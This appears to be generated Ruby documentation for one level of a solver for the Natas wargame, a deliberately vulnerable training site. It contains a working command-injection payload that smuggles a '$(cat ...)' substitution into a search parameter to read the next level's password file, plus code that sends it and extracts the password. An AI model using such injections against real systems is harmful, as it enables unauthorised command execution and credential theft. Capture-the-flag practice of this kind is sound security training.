Class: NatasLevel16

Inherits:
NatasLevelBase show all
Defined in:
lib/natas.rb

Overview

Level 16

Constant Summary collapse

LEVEL =
16
PAGE =
'/'
PAYLOAD =
%(NON_EXIST $(cat #{WEBPASS}/natas17 > /proc/$$/fd/1))

Constants inherited from NatasLevelBase

NatasLevelBase::HOST, NatasLevelBase::LOGIN, NatasLevelBase::PASSWORD_LENGTH, NatasLevelBase::PORT, NatasLevelBase::WEBPASS

Instance Attribute Summary

Attributes inherited from NatasLevelBase

#login, #password

Instance Method Summary collapse

Methods inherited from NatasLevelBase

#get, #initialize, #level, #post

Constructor Details

This class inherits a constructor from NatasLevelBase

Instance Method Details

#execObject



509
510
511
512
513
514
515
# File 'lib/natas.rb', line 509

def exec
  query = URI.encode_www_form('needle' => PAYLOAD)
  data = get("#{PAGE}?#{query}").body
  match = %r(<pre>\n(\w{32})\n</pre>).match(data)
  not_found unless match
  found(match[1])
end